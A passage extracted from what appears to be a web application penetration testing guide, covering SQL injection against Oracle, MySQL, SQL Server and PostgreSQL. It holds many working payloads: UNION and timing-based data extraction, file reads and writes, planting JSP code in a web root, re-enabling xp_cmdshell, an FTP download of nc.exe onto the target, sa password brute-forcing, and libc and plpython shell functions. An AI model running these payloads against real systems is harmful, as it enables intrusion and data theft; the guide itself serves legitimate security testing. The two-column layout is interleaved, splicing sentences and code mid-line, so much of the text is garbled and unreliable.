same technique it’s possible to also gain access to owa_util.cell- returns an error or a 404, then there might be a SQL injection flaw.
sprint again: This can be confirmed by using the concatenation operator:
119

Web Application Penetration Testing

one described in the Section on Testing for SQL Injection.


http://www.example.com/pls/bookstore/books.search?au-
thor=DICK’||’ENS
http://www.example.com/page.php?id=2

If this request returns books by Charles Dickens, you’ve confirmed The Single Quotes Problem
the presence of the SQL injection vulnerability. Before taking advantage of MySQL features, it has to be taken in
consideration how strings could be represented in a statement, as
Tools often web applications escape single quotes.
• SQLInjector -
http://www.databasesecurity.com/sql-injector.htm MySQL quote escaping is the following:
• Orascan (Oracle Web Application VA scanner), NGS SQuirreL ‘A string with \’quotes\’’
(Oracle RDBMS VA Scanner) - http://www.nccgroup.com/en/
our-services/security-testing-audit-compliance/information- That is, MySQL interprets escaped apostrophes (\’) as characters
security-software/ngs-orascan/ and not as metacharacters.

References So if the application, to work properly, needs to use constant


Whitepapers strings, two cases are to be differentiated:
• Hackproofing Oracle Application Server (A Guide to Securing
Oracle 9) - [1] Web app escapes single quotes (‘ => \’)
http://www.itsec.gov.cn/docs/20090507151158287612.pdf [2] Web app does not escape single quotes (‘ => ‘)
• Oracle PL/SQL Injection - http://www.databasesecurity.com/
oracle/oracle-plsql-2.pdf Under MySQL, there is a standard way to bypass the need of sin-
gle quotes, having a constant string to be declared without the
Testing for MySQL need for single quotes.
Summary
SQL Injection vulnerabilities occur whenever input is used in the Let’s suppose we want to know the value of a field named ‘pass-
construction of a SQL query without being adequately constrained word’ in a record, with a condition like the following:
or sanitized. The use of dynamic SQL (the construction of SQL que-
ries by concatenation of strings) opens the door to these vulnera- [1] password like ‘A%’
bilities. SQL injection allows an attacker to access the SQL servers. [2] The ASCII values in a concatenated hex:
It allows for the execution of SQL code under the privileges of the password LIKE 0x4125
user used to connect to the database. [3] The char() function:
password LIKE CHAR(65,37)
MySQL server has a few particularities so that some exploits need
to be specially customized for this application. That’s the subject Multiple mixed queries:
of this section. MySQL library connectors do not support multiple queries sepa-
rated by ‘;’ so there’s no way to inject multiple non-homogeneous
How to Test SQL commands inside a single SQL injection vulnerability like in
When an SQL injection vulnerability is found in an application Microsoft SQL Server.
backed by a MySQL database, there are a number of attacks that
could be performed depending on the MySQL version and user For example the following injection will result in an error:
privileges on DBMS.

MySQL comes with at least four versions which are used in pro- 1 ; update tablename set code=’javascript code’ where 1 --
duction worldwide, 3.23.x, 4.0.x, 4.1.x and 5.0.x. Every version has
a set of features proportional to version number.
Information gathering
• From Version 4.0: UNION Fingerprinting MySQL
• From Version 4.1: Subqueries Of course, the first thing to know is if there’s MySQL DBMS as a
• From Version 5.0: Stored procedures, Stored functions and the back end database. MySQL server has a feature that is used to let
view named INFORMATION_SCHEMA other DBMS ignore a clause in MySQL dialect. When a comment
• From Version 5.0.2: Triggers block (‘/**/’) contains an exclamation mark (‘/*! sql here*/’) it is
interpreted by MySQL, and is considered as a normal comment
It should be noted that for MySQL versions before 4.0.x, only block by other DBMS as explained in MySQL manual.
Boolean or time-based Blind Injection attacks could be used, since
the subquery functionality or UNION statements were not imple- Example:
mented.

From now on, we will assume that there is a classic SQL injection 1 /*! and 1=0 */
vulnerability, which can be triggered by a request similar to the the
120

Web Application Penetration Testing

Result Expected: Database name in use


If MySQL is present, the clause inside the comment block will be There is the native function DATABASE()
interpreted. In band injection:

Version
1 AND 1=0 UNION SELECT DATABASE()
There are three ways to gain this information:

[1] By using the global variable @@version Inferential injection:


[2] By using the function [VERSION()]
[3] By using comment fingerprinting with a version number
/*!40110 and 1=0*/ 1 AND DATABASE() like ‘db%’
which means
Result Expected:
if(version >= 4.1.10) A string like this:
add ‘and 1=0’ to the query.
dbname

These are equivalent as the result is the same.


In band injection: INFORMATION_SCHEMA
From MySQL 5.0 a view named [INFORMATION_SCHEMA] was
created. It allows us to get all informations about databases, ta-
1 AND 1=0 UNION SELECT @@version /*
bles, and columns, as well as procedures and functions.

Inferential injection: Here is a summary of some interesting Views.

1 AND @@version like ‘4.0%’ Tables_in_INFORMATION_SCHEMA DESCRIPTION



..[skipped].. ..[skipped]..
Result Expected:
SCHEMATA All databases the user has (at least) SELECT_priv
A string like this:
SCHEMA_PRIVILEGES The privileges the user has for each DB
5.0.22-log
TABLES All tables the user has (at least) SELECT_priv

TABLE_PRIVILEGES The privileges the user has for each table


Login User
There are two kinds of users MySQL Server relies upon. COLUMNS All columns the user has (at least) SELECT_priv

COLUMN_PRIVILEGES The privileges the user has for each column


[1] [USER()]: the user connected to the MySQL Server.
[2] [CURRENT_USER()]: the internal user who is executing the VIEWS All columns the user has (at least) SELECT_priv
query.
ROUTINES Procedures and functions (needs EXECUTE_priv)

There is some difference between 1 and 2. The main one is that TRIGGERS Triggers (needs INSERT_priv)
an anonymous user could connect (if allowed) with any name, but
the MySQL internal user is an empty name (‘’). Another difference USER_PRIVILEGES Privileges connected User has
is that a stored procedure or a stored function are executed as
the creator user, if not declared elsewhere. This can be known by
using CURRENT_USER. All of this information could be extracted by using known tech-
niques as described in SQL Injection section.
In band injection:
Attack vectors
1 AND 1=0 UNION SELECT USER() Write in a File
If the connected user has FILE privileges and single quotes are not
Inferential injection: escaped, the ‘into outfile’ clause can be used to export query re-
sults in a file.
1 AND USER() like ‘root%’
Select * from table into outfile ‘/tmp/file’
Result Expected:
A string like this:
Note: there is no way to bypass single quotes surrounding a file-
user@hostname name. So if there’s some sanitization on single quotes like escape
(\’) there will be no way to use the ‘into outfile’ clause.
121

Web Application Penetration Testing

BENCHMARK(#ofcycles,action_to_be_performed )
This kind of attack could be used as an out-of-band technique The benchmark function could be used to perform timing
to gain information about the results of a query or to write a file attacks, when blind injection by boolean values does not yield
which could be executed inside the web server directory. any results.
See. SLEEP() (MySQL > 5.0.x) for an alternative on benchmark.
Example:
For a complete list, refer to the MySQL manual at http://dev.mysql.
com/doc/refman/5.0/en/functions.html
1 limit 1 into outfile ‘/var/www/root/test.jsp’ FIELDS
ENCLOSED BY ‘//’ LINES TERMINATED BY ‘\n<%jsp code
here%>’;
Tools
• Francois Larouche: Multiple DBMS SQL Injection tool -
http://www.sqlpowerinjector.com/index.htm
Result Expected: • ilo--, Reversing.org - sqlbftools
Results are stored in a file with rw-rw-rw privileges owned by • Bernardo Damele A. G.: sqlmap, automatic SQL injection tool -
MySQL user and group. http://sqlmap.org/
• Muhaimin Dzulfakar: MySqloit, MySql Injection takeover tool -
Where /var/www/root/test.jsp will contain: http://code.google.com/p/mysqloit/
• http://sqlsus.sourceforge.net/
//field values//
<%jsp code here%> References
Whitepapers
• Chris Anley: “Hackproofing MySQL” -
Read from a File http://www.databasesecurity.com/mysql/HackproofingMySQL.
Load_file is a native function that can read a file when allowed by pdf
the file system permissions. If a connected user has FILE privileg-
es, it could be used to get the files’ content. Single quotes escape Case Studies
sanitization can by bypassed by using previously described tech- • Zeelock: Blind Injection in MySQL Databases -
niques. http://archive.cert.uni-stuttgart.de/bugtraq/2005/02/
msg00289.html
load_file(‘filename’)
Testing for SQL Server
Summary
Result Expected: In this section some SQL Injection techniques that utilize specific
The whole file will be available for exporting by using standard features of Microsoft SQL Server will be discussed.
techniques.
SQL injection vulnerabilities occur whenever input is used in the
Standard SQL Injection Attack construction of an SQL query without being adequately con-
In a standard SQL injection you can have results displayed direct- strained or sanitized. The use of dynamic SQL (the construction of
ly in a page as normal output or as a MySQL error. By using al- SQL queries by concatenation of strings) opens the door to these
ready mentioned SQL Injection attacks and the already described vulnerabilities. SQL injection allows an attacker to access the SQL
MySQL features, direct SQL injection could be easily accomplished servers and execute SQL code under the privileges of the user
at a level depth depending primarily on the MySQL version the used to connect to the database.
pentester is facing.
As explained in SQL injection, a SQL-injection exploit requires two
A good attack is to know the results by forcing a function/proce- things: an entry point and an exploit to enter. Any user-controlled
dureor the server itself to throw an error. A list of errors thrown parameter that gets processed by the application might be hiding
by MySQL and in particular native functions could be found on a vulnerability. This includes:
MySQL Manual.
• Application parameters in query strings (e.g., GET requests)
Out of band SQL Injection • Application parameters included as part of the body of a POST
Out of band injection could be accomplished by using the ‘into out- request
file’ clause. • Browser-related information (e.g., user-agent, referrer)
• Host-related information (e.g., host name, IP)
Blind SQL Injection • Session-related information (e.g., user ID, cookies)
For blind SQL injection, there is a set of useful function natively
provided by MySQL server. Microsoft SQL server has a few unique characteristics, so some
• String Length: exploits need to be specially customized for this application.
LENGTH(str)
• Extract a substring from a given string: How to Test
SUBSTRING(string, offset, #chars_returned) SQL Server Characteristics
• Time based Blind Injection: BENCHMARK and SLEEP To begin, let’s see some SQL Server operators and commands/
122

Web Application Penetration Testing

stored procedures that are useful in a SQL Injection test: CONVERT will try to convert the result of db_name (a string) into
an integer variable, triggering an error, which, if displayed by the
[1] comment operator: -- (useful for forcing the query to ignore vulnerable application, will contain the name of the DB.
the
remaining portion of the original query; this won’t be necessary The following example uses the environment variable @@version
in every case) , combined with a “union select”-style injection, in order to find the
[2] query separator: ; (semicolon) version of the SQL Server.
[3] Useful stored procedures include:
- [xp_cmdshell] executes any command shell in the server /form.asp?prop=33%20union%20select%20
with the same permissions that it is currently running. By 1,2006-01-06,2007-01-06,1,’stat’,’name1’,’na
default, only sysadmin is allowed to use it and in SQL Server me2’,2006-01-06,1,@@version%20--
2005 it is disabled by default (it can be enabled again using
sp_configure)
- xp_regread reads an arbitrary value from the Registry And here’s the same attack, but using again the conversion trick:
(undocumented extended procedure)
- xp_regwrite writes an arbitrary value into the Registry /form.asp?prop=33%20union%20select%20
(undocumented extended procedure) 1,2006-01-06,2007-01-06,1,’stat’,’name1’,’na
- [sp_makewebtask] Spawns a Windows command shell and me2’,2006-01-06,1,@@version%20--
passes in a string for execution. Any output is returned as rows
of text. It requires sysadmin privileges.
- [xp_sendmail] Sends an e-mail message, which may include Information gathering is useful for exploiting software vulnerabili-
a query result set attachment, to the specified recipients. ties at the SQL Server, through the exploitation of an SQL-injection
This extended stored procedure uses SQL Mail to send the attack or direct access to the SQL listener.
message.
In the following, we show several examples that exploit SQL injec-
Let’s see now some examples of specific SQL Server attacks that tion vulnerabilities through different entry points.
use the aforementioned functions. Most of these examples will
use the exec function. Example 1: Testing for SQL Injection in a GET request.
The most simple (and sometimes most rewarding) case would be
Below we show how to execute a shell command that writes the that of a login page requesting an user name and password for
output of the command dir c:\inetpub in a browseable file, as- user login. You can try entering the following string “’ or ‘1’=’1”
suming that the web server and the DB server reside on the same (without double quotes):
host. The following syntax uses xp_cmdshell:
https://vulnerable.web.app/login.asp?Username=’%20or%20
exec master.dbo.xp_cmdshell ‘dir c:\inetpub > c:\inetpub\ ’1’=’1&Password=’%20or%20’1’=’1
wwwroot\test.txt’--
If the application is using Dynamic SQL queries, and the string gets
Alternatively, we can use sp_makewebtask: appended to the user credentials validation query, this may result
in a successful login to the application.
exec sp_makewebtask ‘C:\Inetpub\wwwroot\test.txt’,
‘select * from master.dbo.sysobjects’-- Example 2: Testing for SQL Injection in a GET request
In order to learn how many columns exist

A successful execution will create a file that can be browsed by https://vulnerable.web.app/list_report.aspx?num-


the pen tester. Keep in mind that sp_makewebtask is deprecated, ber=001%20UNION%20ALL%201,1,’a’,1,1,1%20FROM%20
and, even if it works in all SQL Server versions up to 2005, it might users;--
be removed in the future.

In addition, SQL Server built-in functions and environment vari- Example 3: Testing in a POST request
ables are very handy. The following uses the function db_name() SQL Injection, HTTP POST Content: email=%27&whichSubmit=-
to trigger an error that will return the name of the database: submit&submit.x=0&submit.y=0

A complete post example:


/controlboard.asp?boardID=2&itemnum=1%20AND%20
1=CONVERT(int,%20db_name())
POST https://vulnerable.web.app/forgotpass.asp HTTP/1.1
Notice the use of [convert]: Host: vulnerable.web.app
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-
CONVERT ( data_type [ ( length ) ] , expression [ , style ] ) US; rv:1.8.0.7) Gecko/20060909 Firefox/1.5.0.7 Paros/3.2.13
123

Web Application Penetration Testing

This code, written by Antonin Foller (see links at the bottom of


Accept: text/xml,application/xml,application/xhtml+xml,text/ the page), creates a new xp_cmdshell using sp_oacreate, sp_oa-
html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 method and sp_oadestroy (as long as they haven’t been disabled
Accept-Language: en-us,en;q=0.5 too, of course). Before using it, we need to delete the first xp_
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7 cmdshell we created (even if it was not working), otherwise the
Keep-Alive: 300 two declarations will collide.
Proxy-Connection: keep-alive
Referer: http://vulnerable.web.app/forgotpass.asp On SQL Server 2005, xp_cmdshell can be enabled by injecting the
Content-Type: application/x-www-form-urlencoded following code instead:
Content-Length: 50
email=%27&whichSubmit=submit&submit.x=0&submit.y=0
master..sp_configure ‘show advanced options’,1
reconfigure
The error message obtained when a ‘ (single quote) character is
master..sp_configure ‘xp_cmdshell’,1
entered at the email field is:
reconfigure
PMicrosoft OLE DB Provider for SQL Server error ‘80040e14’
Unclosed quotation mark before the character string ‘. Example 6: Referer / User-Agent
/forgotpass.asp, line 15 The REFERER header set to:

Example 4: Yet another (useful) GET example Referer: https://vulnerable.web.app/login.aspx’, ‘user_agent’,


Obtaining the application’s source code ‘some_ip’); [SQL CODE]--

a’ ; master.dbo.xp_cmdshell ‘ copy c:\inetpub\wwwroot\


login.aspx c:\inetpub\wwwroot\login.txt’;-- Allows the execution of arbitrary SQL Code. The same happens
with the User-Agent header set to:

Example 5: custom xp_cmdshell


All books and papers describing the security best practices for SQL sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’
Server recommend disabling xp_cmdshell in SQL Server 2000 (in
SQL Server 2005 it is disabled by default). However, if we have Example 7: SQL Server as a port scanner
sysadmin rights (natively or by bruteforcing the sysadmin pass- In SQL Server, one of the most useful (at least for the penetration
word, see below), we can often bypass this limitation. tester) commands is OPENROWSET, which is used to run a que-
ry on another DB Server and retrieve the results. The penetration
On SQL Server 2000: tester can use this command to scan ports of other machines in
• If xp_cmdshell has been disabled with sp_dropextendedproc, the target network, injecting the following query:
we can simply inject the following code:
select * from OPENROWSET(‘SQLOLEDB’,’uid=sa;pwd=foo-
sp_addextendedproc ‘xp_cmdshell’,’xp_log70.dll’ bar;Network=DBMSSOCN;Address=x.y.w.z,p;timeout=5’,’se-
lect 1’)--
• If the previous code does not work, it means that the xp_log70.
dll has been moved or deleted. In this case we need to inject the This query will attempt a connection to the address x.y.w.z on port
following code: p. If the port is closed, the following message will be returned:

CREATE PROCEDURE xp_cmdshell(@cmd varchar(255), @Wait


General network error. Check your network documentation
int = 0) AS
DECLARE @result int, @OLEResult int, @RunResult int
DECLARE @ShellID int
EXECUTE @OLEResult = sp_OACreate ‘WScript.Shell’, @ShellID OLE DB provider ‘sqloledb’ reported an error. The provider
OUT did not give any information about the error.
IF @OLEResult <> 0 SELECT @result = @OLEResult
IF @OLEResult <> 0 RAISERROR (‘CreateObject %0X’, 14, 1, @ On the other hand, if the port is open, one of the following errors
OLEResult) will be returned:
EXECUTE @OLEResult = sp_OAMethod @ShellID, ‘Run’, Null, Of course, the error message is not always available. If that is the
@cmd, 0, @Wait case, we can use the response time to understand what is going
IF @OLEResult <> 0 SELECT @result = @OLEResult on: with a closed port, the timeout (5 seconds in this example) will
IF @OLEResult <> 0 RAISERROR (‘Run %0X’, 14, 1, @OLERe- be consumed, whereas an open port will return the result right
sult) away.
EXECUTE @OLEResult = sp_OADestroy @ShellID
return @result Keep in mind that OPENROWSET is enabled by default in SQL
Server 2000 but disabled in SQL Server 2005.
124

Web Application Penetration Testing

Example 8: Upload of executables that there is a blind or out-of-band SQL injection vulnerability in
Once we can use xp_cmdshell (either the native one or a custom a the web application. He will then select an attack vector (e.g.,
one), we can easily upload executables on the target DB Server. a web entry), use fuzz vectors (1) against this channel and watch
A very common choice is netcat.exe, but any trojan will be useful the response. For example, if the web application is looking for a
here. If the target is allowed to start FTP connections to the tes- book using a query
ter’s machine, all that is needed is to inject the following queries:
At this point, nc.exe will be uploaded and available.
select * from books where title=text entered by the user

exec master..xp_cmdshell ‘echo open ftp.tester.org > ftp-


then the penetration tester might enter the text: ‘Bomba’ OR 1=1-
script.txt’;--
and if data is not properly validated, the query will go through and
exec master..xp_cmdshell ‘echo USER >> ftpscript.txt’;--
return the whole list of books. This is evidence that there is a SQL
exec master..xp_cmdshell ‘echo PASS >> ftpscript.txt’;--
injection vulnerability. The penetration tester might later play with
exec master..xp_cmdshell ‘echo bin >> ftpscript.txt’;--
the queries in order to assess the criticality of this vulnerability.
exec master..xp_cmdshell ‘echo get nc.exe >> ftpscript.txt’;--
exec master..xp_cmdshell ‘echo quit >> ftpscript.txt’;--
If more than one error message is displayed
exec master..xp_cmdshell ‘ftp -s:ftpscript.txt’;--
On the other hand, if no prior information is available, there is still
a possibility of attacking by exploiting any covert channel. It might
If FTP is not allowed by the firewall, we have a workaround that happen that descriptive error messages are stopped, yet the error
exploits the Windows debugger, debug.exe, that is installed by messages give some information. For example:
default in all Windows machines. Debug.exe is scriptable and is
able to create an executable by executing an appropriate script • In some cases the web application (actually the web server)
file. What we need to do is to convert the executable into a debug might return the traditional 500: Internal Server Error, say when
script (which is a 100% ASCII file), upload it line by line and finally the application returns an exception that might be generated, for
call debug.exe on it. There are several tools that create such de- instance, by a query with unclosed quotes.
bug files (e.g.: makescr.exe by Ollie Whitehouse and dbgtool.exe by • While in other cases the server will return a 200 OK message,
toolcrypt.org). The queries to inject will therefore be the following: but the web application will return some error message inserted
by the developers Internal server error or bad data.
exec master..xp_cmdshell ‘echo [debug script line #1 of n] >
This one bit of information might be enough to understand how
debugscript.txt’;--
the dynamic SQL query is constructed by the web application and
exec master..xp_cmdshell ‘echo [debug script line #2 of n] >>
tune up an exploit. Another out-of-band method is to output the
debugscript.txt’;--
results through HTTP browseable files.
....
exec master..xp_cmdshell ‘echo [debug script line #n of n] >>
Timing attacks
debugscript.txt’;--
There is one more possibility for making a blind SQL injection at-
exec master..xp_cmdshell ‘debug.exe < debugscript.txt’;--
tack when there is not visible feedback from the application: by
measuring the time that the web application takes to answer a
At this point, our executable is available on the target machine, request. An attack of this sort is described by Anley in ([2]) from
ready to be executed. There are tools that automate this process, where we take the next examples. A typical approach uses the
most notably Bobcat, which runs on Windows, and Sqlninja, which waitfor delay command: let’s say that the attacker wants to check
runs on Unix (See the tools at the bottom of this page). if the ‘pubs’ sample database exists, he will simply inject the fol-
lowing command:
Obtain information when it is not displayed (Out of band)
Not all is lost when the web application does not return any in-
select * from books where title=text entered by the user
formation --such as descriptive error messages (cf. Blind SQL
Injection). For example, it might happen that one has access to
the source code (e.g., because the web application is based on an Depending on the time that the query takes to return, we will
open source software). Then, the pen tester can exploit all the SQL know the answer. In fact, what we have here is two things: a SQL
injection vulnerabilities discovered offline in the web application. injection vulnerability and a covert channel that allows the pen-
Although an IPS might stop some of these attacks, the best way etration tester to get 1 bit of information for each query. Hence,
would be to proceed as follows: develop and test the attacks in a using several queries (as many queries as bits in the required in-
testbed created for that purpose, and then execute these attacks formation) the pen tester can get any data that is in the database.
against the web application being tested. Look at the following query

Other options for out of band attacks are described in Sample 4 declare @s varchar(8000)
above. declare @i int
select @s = db_name()
Blind SQL injection attacks select @i = [some value]
Trial and error if (select len(@s)) < @i waitfor delay ‘0:0:5’
Alternatively, one may play lucky. That is the attacker may assume
125

Web Application Penetration Testing

Measuring the response time and using different values for @i, we What we do here is to attempt a connection to the local database
can deduce the length of the name of the current database, and (specified by the empty field after ‘SQLOLEDB’) using “sa” and
then start to extract the name itself with the following query: “<pwd>” as credentials. If the password is correct and the connec-
tion is successful, the query is executed, making the DB wait for 5
if (ascii(substring(@s, @byte, 1)) & ( power(2, @bit))) > 0 seconds (and also returning a value, since OPENROWSET expects
waitfor delay ‘0:0:5’ at least one column). Fetching the candidate passwords from a
wordlist and measuring the time needed for each connection, we
can attempt to guess the correct password. In “Data-mining with
This query will wait for 5 seconds if bit ‘@bit’ of byte ‘@byte’ of the SQL Injection and Inference”, David Litchfield pushes this tech-
name of the current database is 1, and will return at once if it is 0. nique even further, by injecting a piece of code in order to brute-
Nesting two cycles (one for @byte and one for @bit) we will we able force the sysadmin password using the CPU resources of the DB
to extract the whole piece of information. Server itself.

However, it might happen that the command waitfor is not available Once we have the sysadmin password, we have two choices:
(e.g., because it is filtered by an IPS/web application firewall). This
doesn’t mean that blind SQL injection attacks cannot be done, as • Inject all following queries using OPENROWSET, in order to use
the pen tester should only come up with any time consuming oper- sysadmin privileges
ation that is not filtered. For example • Add our current user to the sysadmin group using
sp_addsrvrolemember. The current user name can be extracted
declare @i int select @i = 0 using inferenced injection against the variable system_user.
while @i < 0xaffff begin
select @i = @i + 1 Remember that OPENROWSET is accessible to all users on SQL
end Server 2000 but it is restricted to administrative accounts on SQL
Server 2005.
Checking for version and vulnerabilities
The same timing approach can be used also to understand which Tools
version of SQL Server we are dealing with. Of course we will lever- • Francois Larouche: Multiple DBMS SQL Injection tool -
age the built-in @@version variable. Consider the following query: [SQL Power Injector]
• Northern Monkee: [Bobcat]
• icesurfer: SQL Server Takeover Tool - [sqlninja]
select @@version
• Bernardo Damele A. G.: sqlmap, automatic SQL injection
tool - http://sqlmap.org/
OnSQL Server 2005, it will return something like the following:
References
Microsoft SQL Server 2005 - 9.00.1399.06 (Intel X86) Oct 14 Whitepapers
2005 00:33:37 <snip> • David Litchfield: “Data-mining with SQL Injection and Inference”
- http://www.databasesecurity.com/webapps/sqlinference.pdf
• Chris Anley, “(more) Advanced SQL Injection” -
The ‘2005’ part of the string spans from the 22nd to the 25th char- http://www.encription.co.uk/downloads/more_advanced_sql_
acter. Therefore, one query to inject can be the following: injection.pdf
• Steve Friedl’s Unixwiz.net Tech Tips: “SQL Injection Attacks by
Example” - http://www.unixwiz.net/techtips/sql-injection.html
if substring((select @@version),25,1) = 5 waitfor delay
• Alexander Chigrik: “Useful undocumented extended stored
‘0:0:5’
procedures” - http://www.mssqlcity.com/Articles/Undoc/
UndocExtSP.htm
Such query will wait 5 seconds if the 25th character of the @@ver- • Antonin Foller: “Custom xp_cmdshell, using shell object” -
sion variable is ‘5’, showing us that we are dealing with a SQL Serv- http://www.motobit.com/tips/detpg_cmdshell
er 2005. If the query returns immediately, we are probably dealing • Paul Litwin: “Stop SQL Injection Attacks Before They Stop You” -
with SQL Server 2000, and another similar query will help to clear http://msdn.microsoft.com/en-us/magazine/cc163917.aspx
all doubts. • SQL Injection - http://msdn2.microsoft.com/en-us/library/
ms161953.aspx
Example 9: bruteforce of sysadmin password • Cesar Cerrudo: Manipulating Microsoft SQL Server Using
To bruteforce the sysadmin password, we can leverage the fact that SQL Injection - http://www.appsecinc.com/presentations/
OPENROWSET needs proper credentials to successfully perform Manipulating_SQL_Server_Using_SQL_Injection.pdf uploading
the connection and that such a connection can be also “looped” to files, getting into internal network, port scanning, DOS
the local DB Server. Combining these features with an inferenced in-
jection based on response timing, we can inject the following code: OWASP Backend Security Project Testing
PostgreSQL
select * from OPENROWSET(‘SQLOLEDB’,’’;’sa’;’<pwd>’,’select Summary
1;waitfor delay ‘’0:0:5’’ ‘) In this section, some SQL Injection techniques for PostgreSQL will
be discussed. These techniques have the following characteristics:
126

Web Application Penetration Testing

• PHP Connector allows multiple statements to be executed by the number n


using ; as a statement separator • ascii(n): Returns the ASCII value which corresponds to the
• SQL Statements can be truncated by appending the comment character n
char: --.
• LIMIT and OFFSET can be used in a SELECT statement to retrieve Let’s say you want to encode the string ‘root’:
a portion of the result set generated by the query
select ascii(‘r’)
From now on it is assumed that http://www.example.com/news. 114
php?id=1 is vulnerable to SQL Injection attacks. select ascii(‘o’)
111
How to Test select ascii(‘t’)
Identifying PostgreSQL 116
When a SQL Injection has been found, you need to carefully fin-
gerprint the backend database engine. You can determine that
the backend database engine is PostgreSQL by using the :: cast We can encode ‘root’ as:
operator.
chr(114)||chr(111)||chr(111)||chr(116)
Examples:
In addition, the function version() can be used to grab the Post-
greSQL banner. This will also show the underlying operating sys- Example:
tem type and version.
http://www.example.com/store.php?id=1; UPDATE users
Example: SET PASSWORD=chr(114)||chr(111)||chr(111)||chr(116)--

http://www.example.com/store.php?id=1 AND 1::int=1


Attack Vectors
Current User
An example of a banner string that could be returned is: The identity of the current user can be retrieved with the following
SQL SELECT statements:

PostgreSQL 8.3.1 on i486-pc-linux-gnu, compiled by GCC cc


SELECT user
(GCC) 4.2.3 (Ubuntu 4.2.3-2ubuntu4)
SELECT current_user
SELECT session_user
SELECT usename FROM pg_user
Blind Injection SELECT getpgusername()
For blind SQL injection attacks, you should take into consideration
the following built-in functions:
Examples:
• String Length
- LENGTH(str) http://www.example.com/store.php?id=1 UNION ALL SE-
• Extract a substring from a given string LECT user,NULL,NULL--
- SUBSTR(str,index,offset) http://www.example.com/store.php?id=1 UNION ALL SE-
• String representation with no single quotes LECT current_user, NULL, NULL--
- CHR(104)||CHR(101)||CHR(108)||CHR(108)||CHR(111)

Starting at version 8.2, PostgreSQL introduced a built-in function, Current Database


pg_sleep(n), to make the current session process sleep for n sec- The built-in function current_database() returns the current da-
onds. This function can be leveraged to execute timing attacks tabase name.
(discussed in detail at Blind SQL Injection).
Example:
In addition, you can easily create a custom pg_sleep(n) in previous
versions by using libc:
http://www.example.com/store.php?id=1 UNION ALL SE-
• CREATE function pg_sleep(int) RETURNS int AS ‘/lib/libc.so.6’, LECT current_database(),NULL,NULL--
‘sleep’ LANGUAGE ‘C’ STRICT

Single Quote unescape Reading from a file


Strings can be encoded, to prevent single quotes escaping, by us- PostgreSQL provides two ways to access a local file:
ing chr() function.
• COPY statement
• chr(n): Returns the character whose ASCII value corresponds to • pg_read_file() internal function (starting from PostgreSQL 8.1)
127

Web Application Penetration Testing

COPY: stdout?
This operator copies data between a file and a table. The Post- Here’s a little trick:
greSQL engine accesses the local file system as the postgres user. [1] create a stdout table
• CREATE TABLE stdout(id serial, system_out text)
Example
[2] executing a shell command redirecting its stdout
• SELECT system(‘uname -a > /tmp/test’)
/store.php?id=1; CREATE TABLE file_store(id serial, data
text)--
[3] use a COPY statements to push output of previous command
/store.php?id=1; COPY file_store(data) FROM ‘/var/lib/post-
in stdout table
gresql/.psql_history’--
• COPY stdout(system_out) FROM ‘/tmp/test’

Data should be retrieved by performing a UNION Query SQL In- [4] retrieve output from stdout
jection: • SELECT system_out FROM stdout

• retrieves the number of rows previously added in file_store with Example:


COPY statement
• retrieves a row at a time with UNION SQL Injection /store.php?id=1; CREATE TABLE stdout(id serial, system_out
text) --
Example:
/store.php?id=1; CREATE FUNCTION system(cstring) RE-
/store.php?id=1 UNION ALL SELECT NULL, NULL, max(id)::- TURNS int AS ‘/lib/libc.so.6’,’system’ LANGUAGE ‘C’
text FROM file_store LIMIT 1 OFFSET 1;-- STRICT --
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 1;-- /store.php?id=1; SELECT system(‘uname -a > /tmp/test’) --
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM
file_store LIMIT 1 OFFSET 2;-- /store.php?id=1; COPY stdout(system_out) FROM ‘/tmp/
... test’ --
...
/store.php?id=1 UNION ALL SELECT data, NULL, NULL FROM /store.php?id=1 UNION ALL SELECT NULL,(SELECT sys-
file_store LIMIT 1 OFFSET 11;-- tem_out FROM stdout ORDER BY id DESC),NULL LIMIT 1
OFFSET 1--
pg_read_file():
This function was introduced in PostgreSQL 8.1 and allows one to plpython
read arbitrary files located inside DBMS data directory. PL/Python allows users to code PostgreSQL functions in python.
It’s untrusted so there is no way to restrict what user can do. It’s
Examples: not installed by default and can be enabled on a given database
• SELECT pg_read_file(‘server.key’,0,1000); by CREATELANG

Writing to a file [1] Check if PL/Python has been enabled on a database:


By reverting the COPY statement, we can write to the local file • SELECT count(*) FROM pg_language WHERE lanname=’plpy-
system with the postgres user rights thonu’

/store.php?id=1; COPY file_store(data) TO ‘/var/lib/post- [2] If not, try to enable:


gresql/copy_output’-- • CREATE LANGUAGE plpythonu

[3] If either of the above succeeded, create a proxy shell function:


Shell Injection • CREATE FUNCTION proxyshell(text) RETURNS text AS ‘import
PostgreSQL provides a mechanism to add custom functions by os; return os.popen(args[0]).read() ‘LANGUAGE plpythonu
using both Dynamic Library and scripting languages such as py-
thon, perl, and tcl. [4] Have fun with:
• SELECT proxyshell(os command);
Dynamic Library
Until PostgreSQL 8.1, it was possible to add a custom function Example:
linked with libc: [1] Create a proxy shell function:
• /store.php?id=1; CREATE FUNCTION proxyshell(text) RE-
• CREATE FUNCTION system(cstring) RETURNS int AS ‘/lib/libc. TURNS text AS ‘import os; return os.popen(args[0]).read()’
so.6’, ‘system’ LANGUAGE ‘C’ STRICT LANGUAGE plpythonu;--

Since system returns an int how we can fetch results from system [2] Run an OS Command:
128

Web Application Penetration Testing

